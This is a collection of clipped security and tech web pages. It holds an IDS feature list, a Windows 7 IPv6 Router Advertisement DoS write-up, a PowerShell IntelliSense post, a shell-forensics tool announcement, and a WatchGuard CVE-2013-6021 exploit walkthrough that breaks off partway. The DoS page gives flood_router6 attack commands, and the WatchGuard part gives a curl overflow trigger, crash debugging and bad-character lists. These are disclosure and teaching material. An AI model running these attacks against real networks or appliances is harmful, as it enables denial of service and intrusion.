save that in a variable which can then be matched again later.  
**Fast IP Matching** The engine will automatically take rules that are IP
matches only \(such as the RBN and compromised IP lists at Emerging Threats\)
and put them into a special fast matching preprocessor.  
**HTTP Log Module** All HTTP requests can be automatically output into an
apache-style log format file. Very useful for monitoring and logging activity
completely independent of rulesets and matching. Should you need to do so you
could use the engine only as an HTTP logging sniffer.  
**  
****Coming Very Soon: \(Within a few weeks\)****  
****Global Flow Variables** The ability to store more information from a
stream or match \(actual data, not just setting a bit\), and storing that
information for a period of time. This will make comparing values across many
streams and time possible.  
**Graphics Card Acceleration** Using CUDA and OpenCL we will be able to make
use of the massive processing power of even old graphics cards to accelerate
your IDS. Offloading the very computationally intensive functions of the
sensor will greatly enhance performance.  
**IP Reputation** Hard to summarize in a sentence, but Reputation will allow
sensors and organizations to share intelligence and eliminate many false
positives.  
**Windows Binaries** As soon as we have a reasonably stable body of code.  
  
The list could go on and on. Please take a few minutes to download the engine
and try it out and let us know what you think. We're not comfortable calling
it production ready at the moment until we get your feedback, and we have a
few features to complete. We really need your feedback and input. We intend to
put out a series of small releases in the two to three weeks to come, and then
a production ready major release shortly thereafter. Phase two of our
development plan will then begin where we go after some major new features
such as IP Reputation shortly.  
http://www.openinfosecfoundation.org  
---

# Win 7 DoS by RA Packets

**Created:**| _3/30/2011 5:50:21 AM_  
---|---  
**Updated:**| _3/30/2011 5:53:30 AM_  
**Author:**| __  
**Tags:**| _attacks windows security ipv6_  
  

# Win 7 DoS by RA Packets

## Executive Summary

This is extremely dangerous\! A single device can instantly stop all the
Windows machines on a Local Area Network. In my tests, my Windows 7 virtual
machine freezes totally and the only way to revive it is shutting the power
off--an abnormal shutdown.

Imagine the effect of a single attacker on a small business, Internet
coffeehouse, or any other LAN. This works on all Windows machines with IPv6
enabled, which includes Vista, Win 7, Server 2008, and more. Suppose someone
writes this into a malicious Web attack, so everyone who views a malicious Web
page instantly kills all the machines on their LAN\!

As far as I know, this attack will not traverse routers, so it "only" affects
your local broadcast domain. But isn't that enough to deserve a security alert
and a patch? Apparently not.

## Responsible Disclosure

I regarded this as too dangerous to discuss on the Internet, and sent it to
Microsoft privately. However, they informed me that this is not a new attack--
it has been publicly known for months:

Multiple Vendors IPv6 Neighbor Discovery Router Advertisement Remote Denial of
Service Vulnerability

CVE-2010-4669 - Router Advertisements Cause DoS in Windows

## Mitigation \(revised 3-29-11\)

As far as I know, there is no patch yet from Microsoft. But there are three
ways I know of to protect your computers:

  * Disable IPv6. This is drastic, and will break services you may want, such as HomeGroups and DirectAccess. But it will protect you.
  * Turn off Router Discovery -- this is a simple solution, requiring only one command, but it will prevent you from using Stateless Autoconfiguration. It's probably appropriate for servers, but not as good for client machines. Details are shown below.
  * Use a firewall to block rogue Router Advertisements, while still allowing them from your authorized gateway. This is the most precise solution, but it is easily defeated. Details are shown below.

### Turning Off Router Discovery

I recommend turning off Router Discovery on all servers and any other machines
that do not need "Stateless Autoconfiguration" \(automatically configured IPv6
addresses\), with this command \(execute it from an Administrator Command
Prompt\):

> **`netsh interface ipv6 set interface"Local Area Connection"
> routerdiscovery=disabled`**
I found that solution here: http://social.technet.microsoft.com/Forums/en-
US/w7itpronetworking/thread/768252f8-8872-453b-aa8f-1c4fd6c52856

### Blocking Rogue Router Advertisements with Windows Firewall

This method allows you to use Stateless Autoconfiguration from your authorized
gateways, but block dumb rogues. However, a smart rogue could just sniff your
Router Advertisement packets and spoof the authorized source address, to
bypass the firewall rule. So this is a weak defense.

To do this, open "Windows Firewall with Advanced Security" and double-click
the "Core Networking - Router Advertisement \(ICMPv6-In\)" rule, as shown
below on this page:

<img src='img/Temp2_9506.png' />

In the Properties sheet, on the Scope tab, in the "Remote IP address" section,
the IP address starts at fe80::/64, which allows any host on the LAN to send
Router Advertisemrents. Edit this to a more specific address which matches
your authorized servers, as shown below on this page:

<img src='img/Temp2_9507.png' />

## The Attack

Attacker is a BackTrack 4 R2 Linux Virtual Machine. On the attacker, execute
these commands, but if you want to be able to see the effect and not just kill
the target, cancel the attack within 1 or 2 seconds with Ctrl+C:

> **`cd /pentest/spoofing/thc-ipv6`**
> **`./flood_router6 eth0`**
Ctrl+C

## Result

Any Win 7 machine on the same LAN is dead instantly, as all its resources are
consumed joining thousands of fake IPv6 networks. To see the effect, cancel
the attack very rapidly with Ctrl+C. Then with IPCONFIG you can see the effect
on the target.

<img src='img/Temp2_9508.png' />

* * *
## Class Projects

Here are some projects designed for use in schools and demonstrations:

Win 7 DoS by RA Packets \-- a slower, controllable version of the attack
allows you to see just how many packets are required to stop a Windows
machine.

Router Advertisements with scapy \-- with scapy, you can craft packets easily
so you can try variations of the attack.

* * *
Written by Sam Bowne; last modified 11 am 3-29-11

# PowerShell Predictive IntelliSense - Thomas Maurer

**Created:**| _6/6/2021 1:39:54 PM_  
---|---  
**Updated:**| _6/6/2021 1:39:54 PM_  
**Author:**| __  
**Tags:**| __  
  

  

initialinitialinitial _N_ initialTweet

initialinitialinitial _s_ initialShare

initialinitialinitial _k_ initialShare

initialinitialinitial _T_ initialWhatsApp

initialinitialinitial _A_ initialPin

initialinitialinitial _M_ initialShare

initialinitialinitial _E_ initialReddit

initialinitialinitial _C_ initialPocket

initialinitialinitial _o_ initialVote

initialinitialinitial _m_ initialFlip

initialinitialinitial _d_ initialBuffer

initialinitialinitial _i_ initialEmail

2020 must have been a busy year because I missed one of the greatest new
PowerShell features called Predictive IntelliSense. Back in November 2020,
Jason Helmick announced PowerShell PSReadLine 2.1 with Predictive
IntelliSense.

One of the first things you learn when using a shell usually is tab
completion. Tab provides automatic help when you are typing a command.
However, we all know that the world around us gets increasingly complex. For
example, the Azure PowerShell module offers over 4000 cmdlets with on average
10 parameters each. While tab-completion often is very helpful, wouldn’t it be
great if the shell predicts what I am trying to do, based on my history or
even with artificial intelligence \(AI\) pulled from the documentation?
PowerShell Predictive IntelliSense is here to help with exactly that.

<img src='img/PowerShell-Predictive-IntelliSense.webp' width='768'
height='318' />

PowerShell Predictive IntelliSense

PowerShell Predictive IntelliSense uses my local command history and suggests
the command I want to use. And with the latest beta of PSReadLine 2.2.0-beta1
it can have additional plugins. These additional providers enhance predictions
by providing domain-specific command and task completions, for example, for
Azure PowerShell commands.

## Get started with PowerShell Predictive IntelliSense

Predictive IntelliSense is implemented in the PowerShell engine and presented
through the PSReadLine module. You can use the current version, which comes
with PowerShell 7.1, or you can use some additional features with the latest
beta release.

### PSReadLine 2.1.0 + History Based Prediction

<img src='img/PowerShell-Predictive-IntelliSense-InlineView-768x307.webp'
width='768' height='307' />

PowerShell Predictive IntelliSense InlineView

History-based predictions is available in the following versions:

Availability:

  * PSReadLine 2.1.0 currently available for download from PSGallery
  * PSReadLine 2.1.0 will ship with PowerShell 7.1

Supported PowerShell versions:

  * Windows PowerShell 5.1
  * PowerShell 7.0+

Install PSReadLine 2.1.0:

[code]

    Install-Module PSReadLine -RequiredVersion 2.1.0
[/code]

By default Predictive IntelliSense is disabled, you can enable it by running
the following commands:

[code]

    Set-PSReadLineOption -PredictionSource History
[/code]

### PSReadLine 2.2.0-beta1 + Plugin Prediction

<img src='img/PowerShell-Predictive-IntelliSense-ListView-768x325.webp'
width='768' height='325' />

PowerShell Predictive IntelliSense ListView with History and Plugin

Version 2.2.0-beta1 brings ListView and a prediction plugin.

Availability:

  * PSReadLine 2.2.0-beta1 currently available for download from PSGallery

Supported PowerShell versions for **ListView** \(History-based predictions
only\):

  * Windows PowerShell 5.1
  * PowerShell 7.0+

Supported PowerShell versions for the plugin subsystem \(History and plugin
predictions\):

  * PowerShell 7.1+

[code]

    Install-Module PSReadline -AllowPrerelease 
[/code]

By default Predictive IntelliSense is disabled, you can enable it by running
the following commands:

[code]

    Set-PSReadLineOption -PredictionSource HistoryAndPlugin
    #OPTIONAL you can also enable ListView
    Set-PSReadLineOption -PredictionViewStyle ListView
[/code]

One of the currently available plugins is Az Predictor, which helps you
predict Azure PowerShell cmdlets. I will show you more about Az Predictor next
week.

## But wait there is more\!

In his blog post, Jason Helmick shows even more functionality like:

  * Change the Color for Predictions using.  
Set-PSReadLineOption -Colors @\{ InlinePrediction = ‘\#8A0303’\}

  * Key Bindings for Predictions \(List of additional suggested key bindings defined in PSReadLine SamplePSReadLineProfile.ps1\)
  * and much, much more\! So make sure you check out his blog post\!

## PowerShell Predictive IntelliSense Conclusion

I think the PowerShell Predictive IntelliSense feature is one of the best
things since sliced bread. It can make you much more productive using
PowerShell in so many different ways. And with the additional AI-powered
modules, for example, Az Predictor, which kind of reminds me of the Azure CLI
“az find” command, will help deal with more complex scenarios.

If you have any questions or comments, feel free to leave a comment below.

Email address:

Tags: Az Predictor, Azure, Azure PowerShell, commandline, History,
IntelliSense, Microsoft, PowerShell, Predictive, Predictive IntelliSense,
PSReadLine

### About the Author / Thomas Maurer

<img
src='data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2080%2080'%3E%3C/svg%3E'
width='80' height='80' />

Thomas works as a Senior Cloud Advocate at Microsoft. He engages with the
community and customers around the world to share his knowledge and collect
feedback to improve the Azure cloud platform. Prior joining the Azure
engineering team, Thomas was a Lead Architect and Microsoft MVP, to help
architect, implement and promote Microsoft cloud technology. If you want to
know more about Thomas, check out his blog: www.thomasmaurer.ch and Twitter:
www.twitter.com/thomasmaurer

__ __ __ __ __

←

<img src='img/425Show-Secure-Hybrid-Cloud-with-Azure-Arc-with-Thomas-
Mauer-100x100.jpg' width='150' height='150' />

Previous Story  
425 Show – Secure Hybrid Cloud with Azure Arc

→

<img src='img/AZ-140-Exam-Study-Guide-Windows-Virtual-Desktop-WVD-on-
Microsoft-Azure-100x100.jpg' width='150' height='150' />

Next Story  
AZ-140 Study Guide: Windows Virtual Desktop on Microsoft Azure

### Related Posts

<img src='img/Azure-Regions-and-custom-locations-409x320.jpg' width='409'
height='320' />

## Run cloud-native apps on Azure PaaS anywhere

June 2, 2021• Microsoft Azure

At Microsoft Build 2021, Microsoft just announced the availability of Azure
Arc enabled Application services. This allows you to deploy...

<img src='img/Azure-Arc-Jumpstart-ArcBox-409x320.png' width='409' height='320'
/>

## Azure Arc Jumpstart ArcBox

May 26, 2021• Microsoft Azure

You might have seen my blog about the Azure Arc Jumpstart project, which is a
great way to start your hybrid and multi-cloud journey. In...

<img src='img/Cloud-Governance-Forum-Webinar-Azure-Arc-409x320.jpg'
width='409' height='320' />

## Webinar: Cloud Governance Forum and Azure Arc

May 18, 2021• Microsoft, Microsoft Azure, Speaking, Thomas Maurer

In the world of hybrid and multi cloud, cloud governance becomes more and more
important. I am happy to let you know that I will be...

<img src='img/PowerShell-Test-NetConnection-Azure-Arc-API-409x320.jpg'
width='409' height='320' />

## Check if network connectivity for Azure Arc Connected Machine Agent is
blocked

May 11, 2021• Microsoft Azure

To onboard a server to Azure Arc, you will need to install the Azure Connected
Machine Agent, which communicates outbound securely to Azure...

### Leave a Reply

Your email address will not be published. Required fields are marked \*

Comment

Name \*

Email \*

Website

Save my name, email, and website in this browser for the next time I comment.

Sign me up for the weekly update\!

This site uses Akismet to reduce spam. Learn how your comment data is
processed.

##### About

<img src='img/Thomas-Maurer-Website-200.webp' width='200' height='194' />

My name is Thomas Maurer. I am a Senior Cloud Advocate at Microsoft. I am part
of the Azure engineering team \(Cloud + AI\) and engage with the community and
customers around the world. Opinions are my own.

##### Sponsors

  
  

<img src='img/StarWind-Ad-HCI.webp' width='200' height='300' />

  
  

<img src='img/ScriptRunner-PowerShell-Ad.webp' width='200' height='300' />

  
  

<img src='img/Altaro-Ad.webp' width='200' height='300' />

# Javelin Networks

**Created:**| _5/20/2017 8:57:07 PM_  
---|---  
**Updated:**| _5/20/2017 9:04:38 PM_  
**Author:**| __  
**Tags:**| _Forensics post-exploitation scripting_  
  

  

# Exposing Command Line Shells History with PowerShell

#### By Eyal Neemany | April 30, 2017
* * *
  *   
  

According to almost every cyber security vendor, the biggest trend in the last
few years is the use of Non-Malware attacks. Scripting languages are becoming
more prominent than before—a few lines of PowerShell code can be used as a
full hacking toolkit, open source hacking frameworks based on PowerShell and
Python are easily accessible, and the bad guys are taking advantage of the
“new reality” we’re living in.

<img src='img/Temp2_4684.jpg' width='1842' height='350' />  
   
Take, for example, these posts from Symantec, Carbon Black, Securelist and
Threatpost about the trend of Non-Malware attacks.

There are a few reasons why we see increased use of scripting language based
malwares:

  * 1\. Some of them are installed by default on every Windows operating system.
  * 2\. They’re hard to detect because they leverage legitimate tools to perform malicious activity.
  * 3\. Shell-based attacks have the ability to exist only in memory.



Since **Windows 7 and above** , the **conhost.exe** process is responsible for
each opened instance of **command-line consoles**. For each newly opened
console shell, a new conhost process is opened as well. So dumping the content
of the conhost process can carve us the actual input and output of each
command-line application, such as **PowerShell** , **CMD, Python, Wscript,**
and more.

<img src='img/Temp2_4690.jpg' width='664' height='161' />

New conhost process opened for each console shell















Until now, the most common way to investigate shells during forensics
investigation was using the **CMDSCAN** and **CONSOLES** modules in **rekall**
and **Volatility** frameworks—but they don’t always extract all of the data
available inside the memory section of the conhost process. Additionally,
executing memory analysis using these tools is usually slow as it needs full
memory dump, whereas another faster and more scalable solution might be
desirable.

<img src='img/Temp2_4682.jpg' width='663' height='299' />

Hey Rekall, I need the results now\!

















   
   


Investigating command-line console is most effective when running it
immediately after the console was opened because most of the volatile data
still resides in the memory. That’s why an easy and fast Powershell-based tool
will be the best choice for your automated IR arsenal.

  
We created a PowerShell-based script called **Get-ShellContent** , leveraging
a modified **Strings2** tool loaded in-memory, to extract all the strings of
any **running** or **dumped** process. This script is parsing and distilling
the input and output of the investigated shell. You’ll get full visibility
into the screen buffer the attacker used, the commands he wrote, and the
results he received—Incident Response Forensics at its best\!

<img src='img/Temp2_4683.jpg' width='664' height='397' />























This small script runs **in-memory** , so no additional files are necessary to
execute the tool. It offers a fast, accurate, and scalable method to
investigate remote and local shells without any hustle—the cleanest
methodology as possible. \(Note: remote capabilities require WinRM.\)

So far, the tools extracted the content of the following command-line shells:
**PowerShell** , **CMD** , **Python** , **Wscript** , **MySQL Client,** and
some custom shells such as **Mimikatz** console. In some cases, the tools
might be helpful to extract encrypted shells like the one used in **PowerShell
Empire Agent**. You can point the script straight to the shell process instead
of the conhost process, or use the **–Deep** flag.

Introducing **_Get-ShellContent_** v1.0, supporting PowerShell v2.0 and above,
with remote WinRM capabilities.

  * \* Use **_–ComputerName_** **_\[TARGET\]_** to analyze shells on remote target endpoint.
  * \* Use **_–ProcDump_** **_\[DumpPath\]_** to analyze Process Dump \(Conhost or Shell\) file.  

  * \* Use **_–Deep_** to scan the actual process of the shell for any remaining data \(You’ll get FP\).   

  * \* Use **_–ProcessID_** **_\[PID\]_** to analyze specific \(Conhost or Shell\) process; don’t use the flag if you want to scan all the processes automatically.

Download the script from our **github:**

https://github.com/JavelinNetworks/IR-Tools/blob/master/Get-ShellContent.ps1



  * <img src='img/Temp2_4688.jpg' width='32' height='32' alt='Share on Facebook' />
  * <img src='img/Temp2_4689.jpg' width='32' height='32' alt='Tweet' />
  * <img src='img/Temp2_4686.jpg' width='32' height='32' alt='Submit to Reddit' />
  * <img src='img/Temp2_4685.jpg' width='32' height='32' alt='Share on LinkedIn' />
  * <img src='img/Temp2_4687.jpg' width='32' height='32' alt='Send email' />

  

  

# Industrial Bug MiningIndustrial Bug Mining

**Created:**| _8/13/2010 11:48:38 AM_  
---|---  
**Updated:**| _8/13/2010 11:48:50 AM_  
**Author:**| __  
**Tags:**| _conference-material bughunting_  
  
<img src='img/Temp2_4412' />

# Proofs as Cryptography: a new interpretation of Curry-Howard isomorphism for
software certificates

**Created:**| _10/14/2013 12:06:24 PM_  
---|---  
**Updated:**| _10/15/2013 9:33:44 AM_  
**Author:**| _wishi_  
**Tags:**| _Practical Software Verification crypto math_  
  
<img src='img/RapportHal.pdf' />

# WatchGuard – CVE-2013-6021 – Stack Based Buffer Overflow Exploit | Fun Over IP
**Created:**| _10/28/2013 8:04:26 AM_  
---|---  
**Updated:**| _10/28/2013 8:04:26 AM_  
**Author:**| __  
**Tags:**| _web-app-sec security tools Exploit programming_  
  

# WatchGuard – CVE-2013-6021 – Stack Based Buffer Overflow Exploit

by foip on October 27th, 2013

# 1\. Introduction

This blog entry aims to provide the reader with technical details about the
stack-based buffer overflow that we’ve discovered in the web administration
console of the WatchGuard XTM appliance \(CVE-2013-6021\), as well as our
journey into the exploit development. While the bug was quite easy to
discover, writing a reliable exploit was more challenging due to several
limitations, including an impressive hardening of the device.

It is worth to mention that by default, the web console of the XTM appliance
is not reachable from the Untrusted interface as long as the firewall policy
hasn’t been modified to allow external access. However, the XTMv version
\(virtual appliance\) allows external access to the web console by default.

## 1.1 References

  * http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-6021
  * http://www.kb.cert.org/vuls/id/233990
  * http://watchguardsecuritycenter.com/2013/10/17/xtm-11-8-secfixes/
  * http://watchguardsecuritycenter.com/2013/10/17/watchguard-dimension-and-fireware-xtm-11-8/

# 2\. Bug details

The vulnerability occurs in the session cookie parser and can be triggered by
sending a long cookie to the web application. The code of the vulnerable
function is highlighted below.

## 2.1. Code excerpt \(c/c++\)

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071|
`int` `mysub_8051850_HTTP_handle_request() {` ` ``// ...`` ``char`
`dest[128];`` ``int` `client_info;`` ``int` `sys_upgrade_content;`` ``int`
`unknown;`` ``int` `client_fd;`` ``// ...` ` ``// wrapper to accept()``
``FCGX_Accept_r(client_info);` ` ``client_fd = *(client_info + 12);``
``script_name = FCGX_GetParam(client_info, ``"URI_QUERY"``);` ` ``if` `(
script_name && !``strcmp``(script_name, ``"/ping"``) ) {``
``FCGX_FPrintF(client_fd, [pong response]);`` ``FCGX_FFlush();`` ``goto`
`end;`` ``}` ` ``// login attemp ?`` ``if` `( script_name &&
(!``strcmp``(script_name, ``"/login"``) || !``strcmp``(script_name,
``"/agent/login"``)) ) {`` ``mysub_804E7E7_login(client_info, tp.tv_sec);``
``goto` `end;`` ``}` ` ``// get session cookie`` ``cookies = (``char`
`*)FCGX_GetParam(client_info, ``"HTTP_COOKIE"``);`` ``if` `( cookies ) {``
``int` `n = 0;` ` ``char``* src = ``strstr``(cookies, ``"sessionid="``);``
``if` `( src )`` ``src += 10;` ` ``if` `( src ) {`` ``// search for the end of
the cookie`` ``n = ``strcspn``(src, ``"\r\n\t &'\";"``);` ` ``// copy the
provided cookie into "char dest[128]" :)`` ``strncpy``(&dest, src, n);` ` ``//
search for an existing session`` ``cookie_sess = wgds_node_find();`` ``}``
``}` ` ``if` `( !cookie_sess ) {`` ``if` `( src )``
``mysub_804CEC3_HTTP_response(client_fd, 410, ``"expired"``);`` ``else``
``mysub_804CEC3_HTTP_response(client_fd, 401, ``"Unauthorized"``);`` ``goto`
`end;`` ``}` ` ``// ....` `end:`` ``if` `( client_info ) {``
``FCGX_Finish_r(client_info);`` ``free``((``void` `*)client_info);`` ``}` `
``if` `( sys_upgrade_content )``
``mysub_804DF62_free_decoded_content(sys_upgrade_content);` ` ``return` `0;`
`}`  
---|---  
_**mysub\_8051850\_HTTP\_handle\_request\(\) – c code excerpt**_

Using **strcspn\(\)** function, line 40 computes the length of the provided
cookie by searching for a delimiter character. Line 43 call **strncpy\(\)** to
copy the content of the cookie into a 128 bytes length buffer, without
performing any bound checking. By providing more than 128 characters as
**sessionid** value, it is then possible to overwrite additional pointers and
alter the state of the stack.

## 2.2. Crash demonstration

We can trigger the bug by using the following **curl** command, which will
make the **wgagent** process crash:

12| `$ curl -k --cookie ``"sessionid=`perl -e 'print "``A``" x 500'`"` `\``
``--data ``"foo"` `https:``//192``.168.60.196:8080``/agent/ping`  
---|---  
GDB session

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263| `$ gdb --pid ```ps` `aux | ``grep` `wgagent | ``grep` `-``v` `grep` `| ``awk` `'{print $2}'`````GNU gdb (GDB) 7.2-ubuntu``Copyright (C) 2010 Free Software Foundation, Inc.``License GPLv3+: GNU GPL version 3 or later <http:``//gnu``.org``/licenses/gpl``.html>``This is ``free` `software: you are ``free` `to change and redistribute it.``There is NO WARRANTY, to the extent permitted by law. Type ``"show copying"``and ``"show warranty"` `for` `details.``This GDB was configured as ``"i686-linux-gnu"``.``For bug reporting instructions, please see:``<http:``//www``.gnu.org``/software/gdb/bugs/``>.``Attaching to process 32639``0xffffe424 ``in` `__kernel_vsyscall ()``=> 0xffffe424 <__kernel_vsyscall+16>: 5d pop ebp``(gdb) c``Continuing.` `Program received signal SIGSEGV, Segmentation fault.``0x37d62c57 ``in` `FCGX_PutStr () from ``/lib/libfcgi``.so.0``=> 0x37d62c57 <FCGX_PutStr+23>: 8b 7e 08 mov edi,DWORD PTR [esi+0x8]` `(gdb) info registers``eax 0x8059ebd 134586045``ecx 0x41414141 1094795585``edx 0x8d 141``ebx 0x37d68ff4 936808436``esp 0x3ff0b520 0x3ff0b520``ebp 0x3ff0b558 0x3ff0b558``esi 0x41414141 1094795585``edi 0x8059e30 134585904``eip 0x37d62c57 0x37d62c57 <FCGX_PutStr+23>``eflags 0x10202 [ IF RF ]``cs 0x73 115``ss 0x7b 123``ds 0x7b 123``es 0x7b 123``fs 0x0 0``gs 0x33 51` `(gdb) info stack``#0 0x37d62c57 in FCGX_PutStr () from /lib/libfcgi.so.0``#1 0x37d63d4d in FCGX_VFPrintF () from /lib/libfcgi.so.0``#2 0x37d642bb in FCGX_FPrintF () from /lib/libfcgi.so.0``#3 0x0804cf2a in ?? ()``#4 0x08051d79 in ?? ()``#5 0x41414141 in ?? ()``#6 0x41414141 in ?? ()``#7 0x41414141 in ?? ()``#8 0x41414141 in ?? ()``#9 0x41414141 in ?? ()``[...SNIP...]``#29 0x41414141 in ?? ()``#30 0x37d54ff4 in ?? () from /lib/liblistener.so``Cannot access memory at address 0x41414145` `(gdb) info frame 4``Stack frame at 0x3ffffcc0:`` ``eip = 0x8051d79; saved eip 0x41414141`` ``called by frame at 0x3ffffcc4, caller of frame at 0x3ff0b6f0`` ``Arglist at 0x3ffffcb8, args:`` ``Locals at 0x3ffffcb8, Previous frame's sp is 0x3ffffcc0`` ``Saved registers:`` ``ebp at 0x3ffffcb8, eip at 0x3ffffcbc``(gdb)`  
---|---  
As we can learn from line 57, the saved EIP value of 4th frame has been
overwritten by “AAAA”.

# 3\. Exploitation – RET overwriting approach

So what could we do now using this overflow ? Our first approach is to try
exploiting this vulnerability using the classical RET overwrite approach,
which consists of altering the saved EIP value with the address of a
**jmp****** instruction \(or equivalent\), and then to finally land into our
shellcode. Easy ? Well, let first meet our limitations…

## 3.1. Limitations

### 3.1.1. Bad characters

Since this vulnerability is triggered through the session cookie, our first
limitation is that all characters of our buffer must land into the allowed
character set, of an HTTP request header. Additionally, our buffer can’t
contain any cookie delimiters characters such as space, quote, semi-colon, …

Here is our final bad chars list:

12345678| `my` `@badchars` `= (``"\x00"``,``"\x01"``, ``"\x02"``, ``"\x03"``,
``"\x04"``, ``"\x05"``, ``"\x06"``, ``"\x07"``, ``"\x08"``,
``"\x0a"``,``"\x0b"``, ``"\x0c"``, ``"\x0d"``, ``"\x0e"``, ``"\x0f"``,
``"\x10"``, ``"\x11"``, ``"\x12"``, ``"\x13"``,``"\x14"``, ``"\x15"``,
``"\x16"``, ``"\x17"``, ``"\x18"``, ``"\x19"``, ``"\x1a"``, ``"\x1b"``,
``"\x1c"``,``"\x1d"``, ``"\x1e"``, ``"\x1f"``,``"\x20"``, ``"\x22"``,
``"\x26"``, ``"\x27"``, ``"\x3b"` `# cookie delimiters``);`  
---|---  
### 3.1.2. Virtual Address Randomization

As we can see in the following output, /proc/sys/kernel/randomize\_va\_space
is set to “1″ which means that memory addresses randomization is enabled by
default on the Watchguard device.

1234| `$ ``uname` `-a``Linux XTMv-11.7.4u1 2.6.35.12 ``#1 SMP Tue Aug 27
11:44:24 PDT 2013 i686 GNU/Linux``$ ``cat`
`/proc/sys/kernel/randomize_va_space``1`  
---|---  
Another view can be observed from the process memory map, where all modules
use a different memory base-address each time the **wgagent** process
restarts.  
All modules ? Not exactly. The section code and the heap don’t move upon
restart. Additionally, our friend **linux-gate.so** doesn’t move too \(see
line 36\).

123456789101112131415161718192021222324252627282930313233343536| `$ ``cat`
`/proc/26495/maps``08048000-0805d000 r-xp 00000000 08:02 40369
``/usr/bin/wgagent``0805d000-0805e000 r-xp 00014000 08:02 40369
``/usr/bin/wgagent``0805e000-0805f000 rwxp 00015000 08:02 40369
``/usr/bin/wgagent``0805f000-08081000 rwxp 00000000 00:00 0
[heap]``37950000-37958000 r-xp 00000000 08:02 12801
``/lib/libnss_files``.so.2``37958000-37959000 r-xp 00007000 08:02 12801
``/lib/libnss_files``.so.2``37959000-3795a000 rwxp 00008000 08:02 12801
``/lib/libnss_files``.so.2``3795a000-3795c000 r-xs 00000000 00:04 0
``/SYSV574c5147` `(deleted)``3795c000-37972000 r-xp 00000000 08:02 12796
``/lib/libgcc_s``.so.1``37972000-37973000 r-xp 00015000 08:02 12796
``/lib/libgcc_s``.so.1``37973000-37974000 rwxp 00016000 08:02 12796
``/lib/libgcc_s``.so.1``37974000-37976000 rwxp 00000000 00:00
0``37976000-37989000 r-xp 00000000 08:02 12161
``/lib/libpthread``.so.0``37989000-3798a000 r-xp 00012000 08:02 12161
``/lib/libpthread``.so.0``3798a000-3798b000 rwxp 00013000 08:02 12161
``/lib/libpthread``.so.0``3798b000-3798e000 rwxp 00000000 00:00
0``3798e000-3799d000 r-xp 00000000 08:02 12371
``/lib/libnsl``.so.1``3799d000-3799e000 r-xp 0000e000 08:02 12371
``/lib/libnsl``.so.1``3799e000-3799f000 rwxp 0000f000 08:02 12371
``/lib/libnsl``.so.1``3799f000-379a1000 rwxp 00000000 00:00
0``379a1000-37aa7000 r-xp 00000000 08:02 12231
``/lib/libc``.so.6``37aa7000-37aa9000 r-xp 00105000 08:02 12231
``/lib/libc``.so.6``37aa9000-37aaa000 rwxp 00107000 08:02 12231
``/lib/libc``.so.6``37aaa000-37aad000 rwxp 00000000 00:00
0``[...SNIP...]``37ebf000-37fdf000 r-xp 00000000 08:02 12350
``/lib/libxml2``.so.2.7.7``37fdf000-37fe0000 ---p 00120000 08:02 12350
``/lib/libxml2``.so.2.7.7``37fe0000-37fe4000 r-xp 00120000 08:02 12350
``/lib/libxml2``.so.2.7.7``37fe4000-37fe5000 rwxp 00124000 08:02 12350
``/lib/libxml2``.so.2.7.7``37fe5000-37fe7000 rwxp 00000000 00:00
0``37fe7000-37ffe000 r-xp 00000000 08:02 12099
``/lib/ld-2``.12.1.so``37ffe000-37fff000 r-xp 00016000 08:02 12099
``/lib/ld-2``.12.1.so``37fff000-38000000 rwxp 00017000 08:02 12099
``/lib/ld-2``.12.1.so``3ffdf000-40000000 rwxp 00000000 00:00 0
[stack]``ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]`  
---|---  
Unfortunately, if we succeed with the RET overflow approach, we can’t jump
into the wgagent heap nor code sections because of the bad characters
limitation \(the addresses start with \x08\x05 or \x08\x06\). However, an off-
by-two overflow would help to bypass this limitation. Regarding**linux-
gate.so** , no **jmp** or equivalent were found.

### 3.1.3. Invalid pointer and free\(\)

Yet another issue we have to overcome with the RET approach appeared near the
end of the **mysub\_8051850\_HTTP\_handle\_request\(\)** function.

123456789| `// ....`` ``if` `( client_info ) {``
``FCGX_Finish_r(client_info);`` ``free``((``void` `*)client_info);`` ``}` `
``if` `( sys_upgrade_content )``
``mysub_804DF62_free_decoded_content(sys_upgrade_content);``// ....`  
---|---  
Buffers initially allocated at the beginning of the function using
**malloc\(\)** , must be freed. Unfortunately, the pointers to these buffers
are overwritten during the **strncpy\(\)** overflow, which makes **free\(\)**
crash \(it is legitimate… not easy to free an invalid buffer..\).
Additionally, in the event where we find a way to predict a valid heap address
to free, we won’t be able to use it in our evil buffer since the heap
addresses start with forbidden characters ..

# 4\. Exploitation – Pointers overwriting approach

After a few headaches in the RET overwriting approach, it was the moment to
consider another way. We then started to analyze the execution flow right
after the overflow, hoping to get an idea… Which then finally happened..

## 4.1. O pointers where art thou

Upon return from the **strncpy\(\)** function, the provided cookie is compared
against a list of valid cookies. If the cookie is expired or invalid, an HTTP
response is generated and returned to the end-user, as see on line 6 and 8 of
the following excerpt code.

1234567891011| `int` `mysub_8051850_HTTP_handle_request() {` ` ``// ...``
``if` `( !cookie_sess ) {`` ``if` `( src )``
``mysub_804CEC3_HTTP_response(client_fd, 410, ``"expired"``);`` ``else``
``mysub_804CEC3_HTTP_response(client_fd, 401, ``"Unauthorized"``);`` ``goto`
`end;`` ``}`` ``//....`  
---|---  
The HTTP\_response function then calls some printf\(\) wrappers as illustrated
by the following backtrace:

123456789101112| `(gdb) backtrace``#0 0x37d62c8c in FCGX_PutStr () from
/lib/libfcgi.so.0``#1 0x37d63d4d in FCGX_VFPrintF () from
/lib/libfcgi.so.0``#2 0x37d642bb in FCGX_FPrintF () from /lib/libfcgi.so.0``#3
0x0804cf2a in ?? ()``#4 0x08051d79 in ?? () <=== call from
mysub_8051850_HTTP_handle_request()``#5 0x080552c8 in ?? ()``#6 0x37d539c9 in
?? () from /lib/liblistener.so``#7 0x37d52c16 in ListenLoop () from
/lib/liblistener.so``#8 0x08055be1 in ?? ()``#9 0x379b7eb9 in
__libc_start_main () from /lib/libc.so.6``#10 0x0804bcd1 in ?? ()`  
---|---  
A VERY interesting assembly instruction is present in the FCGX\_PutStr\(\)
function as seen at line 27 of the following code:

12345678910111213141516171819202122232425262728293031323334353637383940|
`0x37d62c40 <+``0``>: ``push` `ebp``0x37d62c41 <+``1``>: ``mov`
